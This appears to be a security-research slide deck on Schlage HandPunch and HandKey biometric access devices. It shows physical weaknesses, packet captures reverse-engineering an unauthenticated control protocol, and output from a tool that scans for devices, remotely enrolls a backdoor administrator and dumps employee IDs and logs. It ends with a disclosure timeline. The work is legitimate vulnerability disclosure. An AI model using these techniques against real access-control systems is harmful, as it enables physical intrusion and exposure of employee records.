HANDPWNING




Security pitfalls of biometric hand-geometry recognition access control systems

Technology Background – Biometrics in PACS


Physical biometrics evaluate certain unique physical characteristics of a person's body. The most common types of physical biometric devices can be grouped in:


- Fingerprint Scanners
- Hand Geometry Scanners
- Iris Scanners
- Retinal Scanners
- Facial Scanners
- Voice Scanners



Biometric Hand Analysis Access Control Systems

- Hand Vein Technology: technique of biometric identification through the analysis of the patterns of blood vessels visible from the surface of the skin.
- Hand Geometry: is the longest implemented biometric type. The size, shape and flow of papillae are measured, and minutiae are the main features in the identification process. Image preprocessing and normalization in this category gives us binary image containing papillae and their distances.







Hand Geometry 101

- These biometric devices use a simple concept of measuring and recording the length, width, thickness, and surface area of an individual's hand while guided on a plate.
- Hand geometry systems use a camera to capture a silhouette image of the hand. The hand of the subject is placed on the plate, palm down, and guided by five pegs that sense when the hand is in place.
- The image captures both the top surface of the hand and a "side image" that is captured using an angled mirror. Upon capture of the silhouette image, 31.000 points are analyzed and 90 measurements are taken. Example of measurements: Length of the fingers, Distance between knuckles, Height and Thickness of the hand & Fingers.
- This information is stored in nine bytes of data (a.k.a Hand Template)

Enrollment: This adds your biometric template to the HandKey.



Verification: Are you the same individual that was enrolled in the system?




Practical Multi-Industries Applications

- Healthcare
- Industrial Sites
- Chemical Plants
- Food Manufacturing
- Airports









The Target





Schlage HandPunch 4000E

HandPunch 4000e hand geometry biometric time clock, ideal use with AMG System's employee management software. Great data collection device!

Unit Price	Quantity	Total				
\$2625 ^{.70}	1 🗘 🛅	\$2625 ^{.70}				
Extended \	Warranty	Price				
○ 1 Year		\$1418 ^{.00}				
O 2 Year Save 5%						
3 Year Save 10%						
O No. Thank you						
☐ Advance Replacement						



Schlage HandKey 2 | Biometric Scanner | HK 2

Schlage HandKey 2 utilizes hand geometry to verify the identity of the user and enhance security at any door.

Unit Price	Quantity	Total
\$2457 ^{.99}	1 🗘 🛍	\$2457 ^{.99}
Extended	Warranty	Price
1 Year2 Year Save 5%3 Year Save 10%No. Thank you		\$1328 ^{.00}


One Key to pwn'em all




Simple Tubular Lock...




Or just buy a key to open'em all!





Lack of Anti-Tamper Switch & Alarm






We got it open. Now What?





We got it open. Now What?










One Key To Pwn'em All































A Suspiciously Weak Protocol



A Suspiciously Weak Protocol

```
Nmap scan report for 192.168.2.212
Host is up (0.0033s latency).
Not shown: 65534 closed ports
PORT
        STATE SERVICE VERSION
3001/tcp open nessus?
MAC Address: 00:20:4A:09:C0:E5 (Pronet Gmbh)
```

After a basic network fuzzing job, was clear that whatever process was listening on that port was expecting a very specific handshake, therefore some sort of proprietary managing software had to be used...



Try & Error + Sniffing

```
PC ► HP
PC ► HP
PC ► HP
```

```
00000000 ff 0a 00 44 00 08 c1 ff
                                                         ...D....
             ff 0a ff 30 03 00 10 1e 01 33
                                                             ...0.... .3
00000008 ff 0a 00 73 00 0a 5d ff
                                                         ...s..].
             ff 0a ff 53 66 02 02 7e 63 30 33 2f 30 35 2f 31
                                                             ...Sf..~ c03/05/1
                                    00 00 00 4d 61 67 73 74
   0000001A
             30 00 00 00 00 00 00 00
                                                             0...... ... Magst
   0000002A 72 69 70 65 00 00 00 00 00 00 00 00 8b f7 14 00
                                                             ripe....
   0000003A 00 aa 0d 00 1e 01 00 1f 00 48 50 34 2d 43 2e 33
                                                             0000004A 31 32 00 00 00 00 00 02
                                    00 00 00 00 00 00 00 00
   0000005A
             00 00 00 00 00 00 00 00
                                    00 00 00 00 00 00 00 00
   0000006A
            00 00 00 00 00 00 00 00 00 00 00 69 bb
```



Creating New User (hacker w/ ID:666)

```
PC ► HP
         000000000 ff 0a 00 44 00 08 c1 ff
                                                                      ...D....
PC ◀ HP
                      ff 0a ff 30 03 00 90 1e 99 28
                                                                          ...0.... .(
PC ► HP
         00000008 ff 0a 00 73 00 0a 5d ff
                                                                      ...s..].
PC ◀ HP
                                                                         ...Sf..~ c03/05/1
                      ff 0a ff 53 66 02 02 7e
                                               63 30 33 2f 30 35 2f 31
             aaaaaaaa
             0000001A
                       30 00 00 00 00 00 00 00
                                                00 00 00 4d 61 67 73 74
                                                                         0...... ... Magst
             0000002A
                       72 69 70 65 00 00 00 00
                                                00 00 00 00 8b f7 14 00
                                                                         ripe.... ......
                     00 aa 0d 00 1e 01 00 1b
                                                                         0000003A
                                                00 48 50 34 2d 43 2e 33
             0000004A
                      31 32 00 00 00 00 00 02
                                                00 00 00 00 00 00 00 00
             0000005A
                       00 00 00 00 00 00 00 00
                                                00 00 00 00 00 00 00 00
                       00 00 00 00 00 00 00 00
                                                00 00 00 48 46
                                                                         ....HF
                                                                      ...8.... .f./.
         00000010 ff 0a 00 38 05 00 00 00
                                          06 66 e7 2f ff
PC ► HP
                       ff 0a ff 32 10 00 00 00
                                                00 00 33 2f 30 35 2f 31
                                                                         ...2.... ..3/05/1
PC ◀ HP
                       30 00 00 00 00 a5 d0
             000000087
                                                                         0.....
                   ff 0a 00 78 4d 00 00 00
PC ► HP
         00000001D
                                                                      ...xM... .f.....
         00000002D
         0000003D
                   00 00 00 68 61 63 6b 65
                                                                       ..hacke r..
         00000004D
         00000005D
                      00 00 00 00 00 00
                                            00
         0000006D
                   00 00 c9 f1 ff
PC ◀ HP
                      ff 0a ff 30 03 00 90 1e 99 28
             0000008E
                                                                          ...0.... .(
```

```
000000000 ff 0a 00 44 00 08 c1 ff
PC ► HP
PC ◀ HP
            000000000 ff 0a ff 30 03 00 90 1e 99 28
PC ► HP
         00000008 ff 0a 00 73 00 0a 5d ff
PC ◀ HP
            0000000A ff 0a ff 53 66 02 02 7e 63 30 33 2f 30 35 2f 31
                     30 00 00 00 00 00 00 00
                                             00 00 00 4d 61 67 73 74
            0000002A
                     72 69 70 65 00 00 00 00 00 00 00 00 8b f7 14 00
                     00 aa 0d 00 1e 02 00 1b 00 48 50 34 2d 43 2e 33
                     31 32 00 00 00 00 00 02
                                             00 00 00 00 00
                     00 00 00 00 00 00 0<u>0 00 00 00</u> 00 00 c0 f2
         00000010 ff 0a 00 38 05 00 00 00 06 66 7 2f ff
PC ► HP
PC ◀ HP
            00000077 ff 0a ff 32 10 00 00 00 06 66 00 00 00 00 00 00
            00000087 00 00 00 05 00 59 88
         0000001D ff 0a 00 49 02 02 00 e9 95 ff
            PC ◀ HP
PC ► HP
         00000027 ff 0a 00 62 02 02 03 db 8c ff
PC ◀ HP
            00000098 ff 0a ff 30 03 01 d0 1e 65 12
PC ► HP
         00000031 ff 0a 00 44 00 08 c1 ff
            000000A2 ff 0a ff 30 03 1f d0 1e 07 4a
PC ◀ HP
         00000039 ff 0a 00 44 00 08 c1 ff
            000000AC ff 0a ff 30 03 01 d0 1e 65 12
         00000041 ff 0a 00 44 00 08 c1 ff
            000000B6 ff 0a ff 30 03 17 d0 1e a6 e3 ff
         00000049 ff 0a 00 44 00 08 c1 ff
            000000C1 ff 0a ff 30 03 17 d0 1e a6 e3
         00000051 ff 0a 00 44 00 08 c1 ff
            000000CB ff 0a ff 30 03 01 d0 1e 65 12
         00000059 ff 0a 00 44 00 08 c1 ff
            000000D5 ff 0a ff 30 03 1f d0 1e 07 4a
         00000061 ff 0a 00 44 00 08 c1 ff
            000000DF ff 0a ff 30 03 01 d0 1e 65 12
         00000069 ff 0a 00 44 00 08 c1 ff
            000000E9 ff 0a ff 30 03 00 94 1e 5d e4 ff
PC ► HP
         00000071 ff 0a 00 4b 00 36 d1 ff
PC ◀ HP
                     ff 0a ff 37 0b 02 00 64 7e 73 7c 62 76 7d 5d 82
            00000104 4c c0
                             10 00 00 00 06 66 64 7e 73 7c 62 76
        00000089 7d 5d 82 0 00 f2 61 ff
            00000100 11 0a f 30 03 00 90 1e 99 28
PAC @ VBP Ar
```

Also, this time, the following assumptions regarding the proprietary protocol were formulated:

- 1st Red Packet = **Wake Up packet**, since it was always the same during all attempts.
- 2nd Red Packet = **Name & Model Query**, since it was always the same during all attempts and the response contained the name & model of the target device showed during boot on its LCD as well.
- 3rd Red Packet = Create new user with ID 666, since it's matching our newly created user ID (i.e. 666)
- 4th Red Packet = **Initiate hand scan**, since after it the Handpunch asks the user to place the hand for the first acquisition.
- 5th 13th Red Packets = **Unknown?!**, probably a sort of keep-alive beacon, since in the meantime the user was getting scanned 3 times his hand.
- 14th Red Packet = Query acquired hand template, since as response we get exactly a 9 bytes data that is then reused in the 15th Red Packet (e.g., 64 7e 73 7c 62 76 7d 5d 82).
- 15th Red Packet = Associate user ID to its hand template, since both user ID 666 and template 64 7e 73 7c 62 76 7d 5d 82 are sent to the Handpunch.

Let's Put All Together...

Overall, with all the previous dumps it was possible to reverse engineer the packets' structure and the communication protocol, where the main issues are:

- Lack of Authentication
- Lack of Session Handling
- Weak Integrity routine (i.e., CRC16 XModem)

And related packet's structure:



HEADER +	ADDRESS	+ COMMAND	+	LENGHT DATA +	DATA +	CRC +	FOOTER
ff 0a	00	XX		YY		ZZ ZZ	ff

Querying the Handpunch with Handpwner Tool-Suite

```
lbo@ndujaos:~/handpwner$ sudo python3 handscan.py -r 192.168.2
      IA IIIN IIID IIIS IIIC IIIA
Copyright® 2021 - Luca Bongiorni - www.whid.ninja
   Starting TCP port scan on network 192.168.2.0
   192.168.2.212:3001/TCP Open
<#> Found a HP-4000 model
!] Model Name: Magstripe
[!] Handpunch Address: 00
[!] 192.168.2.213:3001/TCP Open
<#> Found a HP-1000/HP-2000 model
[!] Model Name: Magstripe
[!] Handpunch Address: 00
   TCP scan on network 192.168.2.0 complete
```

Deploying an Admin Backdoor: default mode





Remotely enroll a new Administrator via LAN (Default Mode)


Deploying an Admin Backdoor: known-template mode




Dumping User IDs & Logs

```
lbo@ndujaos:~/handpwner$ python3 handpwner.py -i 192.168.2.212 -m dumplogs -n 10
 |H |||A |||N |||D |||P |||W |||N |||E |||R ||
Copyright® 2021 - Luca Bongiorni - www.whid.ninja
 !] TimeStamp: 21-9-9 16:2:40
!] EmployeeID: 0000001337
 [!] TimeStamp: 21-9-9 16:2:54
[ ] EmployeeID: 0000001337
!] TimeStamp: 21-9-16 0:14:18
[!] EmployeeID: ffffffffff
!] TimeStamp: 21-9-16 0:14:38
[!] EmployeeID: 0000001337
!] TimeStamp: 21-9-16 0:14:58
 !] EmployeeID: 0000001337
 !] TimeStamp: 21-9-16 0:15:6
 !] EmployeeID: 0000001337
 !] TimeStamp: 21-9-16 0:16:28
!] EmployeeID: 0000000666
 !] TimeStamp: 21-9-16 10:10:0
[!] EmployeeID: ffffffffff
!] TimeStamp: 21-9-16 10:12:30
 !] EmployeeID: fffffffff
 !] TimeStamp: 21-9-16 10:19:12
 !] EmployeeID: 0000001337
```

Dumping User IDs & Logs





Responsible Disclosure Timeline

- 24/08/2021 First attempt Request for Security Contact through Vendor website
- 25/09/2021 Second attempt Request for Security Contact through Vendor website
- 01/10/2021 Initial Response from Vendor's PSIRT
- 06/10/2021 Status Update
- 15/10/2021 Vendor has set the entire product line as EoL (End-of-Life). Which means no firmware updates nor hot-fix will be released.

Vendor also provided some mitigations to the vulnerabilities reported (i.e. restrict physical access to the vulnerable device, isolate it from the rest of the LAN, do not expose it on the Internet, etc.).


Responsible Disclosure Timeline



Internet Exposure & Shodan's Plugin

Special Thanks to **John Matherly** for porting this to **Shodan!**

Q



HandPunch:

Model: HandPunch 2000 Model Name: Magstripe EPROM Version: HP2-A.352E

Total Users: 371 Memory Size: 128K Adapter Type: None Serial Number: 1511563

Total Logs: 0

HandPunch:

Model: HandKev II

Model Name: Wgd 34-Bit ID 32

EPROM Version: HK2-12610C.265

Total Users: 4640


Adapter Type: Ethernet Card

Serial Number: 1269526

Total Logs: 0



Another real case from the internet...





The alfa version of the scripts developed during this research is available at https://github.com/whidinjector/handpwner


Disclaimer: The content of this presentation is the result of an independent research conducted by myself and during my own spare time. This research was not funded by my present and past employers and is not in any way associated with them.






ProTip: Always do proper RECON on Target's Website!

During the writing of this paper, it was also noticed that, thanks to a Directory Listing Vulnerability located in the handpunch.com website, the protocol specs were accidently leaked publicly.





The Unchangeable Password

Programming the HandPunch

The HandPunch is programmed via a series of command menus. A summary of the menus and commands is given in Table 6.

Table 6: Basic Command Mode Structure

Service Menu	Setup Menu	Management Menu	Enrollment Menu	Security Menu
Password 1	Password 2	Password 3	Password 4	Password 5
Calibrate	Set Language	Supervisor Override	Add Employee	Special Enroll
Status Display	Set Date Format	List Users	Add Supervisor	
	Set Time and Date	Set User Data	Remove User	
	Set Address	Restrictions		
	Set ID Length			
	Set Serial			
	Set Reader Mode			
	Upgrade			

To control access to the command menus, each menu has a unique password. This password is requested as a part of the process for accessing each menu. A supervisor must enter the correct password for that menu to access that menu. The default menu passwords are given in Table 6.

To increase the security of the HandPunch, Schlage Biometrics recommends changing the passwords for the command menus to new numbers. These password numbers can be up to 10 digits long. This is done with the Set Passwords command described on.

Fin